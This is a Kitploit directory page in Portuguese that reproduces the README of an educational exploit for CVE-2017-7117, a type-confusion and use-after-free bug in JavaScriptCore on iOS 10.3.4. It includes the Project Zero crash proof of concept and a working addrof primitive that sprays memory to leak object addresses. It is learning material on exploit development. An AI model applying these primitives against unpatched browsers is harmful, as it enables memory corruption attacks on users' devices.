Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2017-7117 — Exploit educacional para CVE-2017-7117, uma vulnerabilidade de confusão de tipos e uso após liberação (use-after-free) no JavaScriptCore do iOS 10.3.4, demonstrando técnicas de memory spraying e vazamento de endereços. | Kitploit
Ferramentas/GitHubGitHub/rebelle3/cve-2017-7117
Segurança iOSForensia de MemóriaAnálise de VulnerabilidadesExploraçãoShellcodeSegurança MóvelAprendizado e EducaçãoExploração de Binários
GitHubrebelle3/cve-2017-7117

cve-2017-7117

Exploit educacional para CVE-2017-7117, uma vulnerabilidade de confusão de tipos e uso após liberação (use-after-free) no JavaScriptCore do iOS 10.3.4, demonstrando técnicas de memory spraying e vazamento de endereços.

312há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

cve-2017-7117

Sobre o Bug

Uma confusão de tipo e UAF encontrado no iOS 10.3.4 e anteriores, Safari anterior ao 11.0.

CVE-2017-7117: mitre.org

Prova de Conceito Original

Descoberto por @lokihardt, fonte: Google Project Zero

function f() {
  let o = {};
  for (let i in {xx: 0}) { // i is a String
    for (i of [0]) { // i is now a number, but JIT treats as String
    }
    print(o[i]); // whoops
  }  
}

f();

Executar o código acima fará com que o JSC falhe.

O Exploit

Criamos um grande array arr, que o compilador JIT se confundirá e acreditará que é uma string.

var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags 

Quando a referência a i é perdida, mantemos acesso ao array original arr e podemos ler a memória subjacente.

Ao pulverizar um valor conhecido, podemos encontrar isso e percorrer para localizar o ponteiro para qualquer objeto.

function addrof(obj) {

    // search the freed array for this number
    var locator = 0x1337;

    // spray the freed memory with the locator
    var sprays = [];
    for (var i = 0; i < 0x1000; ++i) {
        sprays.push(i % 2 == 0 ? locator : obj);
    }

    // find the first instance of the locator
    var found = null;
    for(var i = 0; i < arr.length; i++) {
        if(arr[i] == locator) {
            found = i
            break
        }
    }

    // the pointer for the object is 3 and 2 indicies after the locator
    return found && [arr[found + 3], arr[found + 2]]

}

Os valores são acessados na memória através de um Uint32Array, bits inferiores primeiro, bits superiores depois.

let target = {
    foo: "bar"
}

let address = addrof(target)
// address: 0x0000ffff8d178e60

Você pode verificar se o endereço é válido usando describe()

print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244

Replicar a Configuração

Atualmente testado em:

  • Ubuntu 20.04.5 LTS ARM64
  • JavaScriptCore (JSC) vulnerável da libwebkitgtk versão 2.16.0
    • Build archive: launchpad.net
  • LLDB para inspeção de memória (opcional)

Não funciona (ainda) no iPhone 5, iOS 10.3.4. Vamos descobrir por que ...

Próximos Passos?

  • Criar um objeto falso
  • Ler / escrever memória arbitrária
  • Jailbreak do iOS 10?

Importante

Este repositório é fornecido como um recurso educacional para acompanhar meu aprendizado em desenvolvimento de exploits. Este CVE foi corrigido há mais de 7 anos. NÃO use isso para fins nefastos, obviamente.

Baixar ferramenta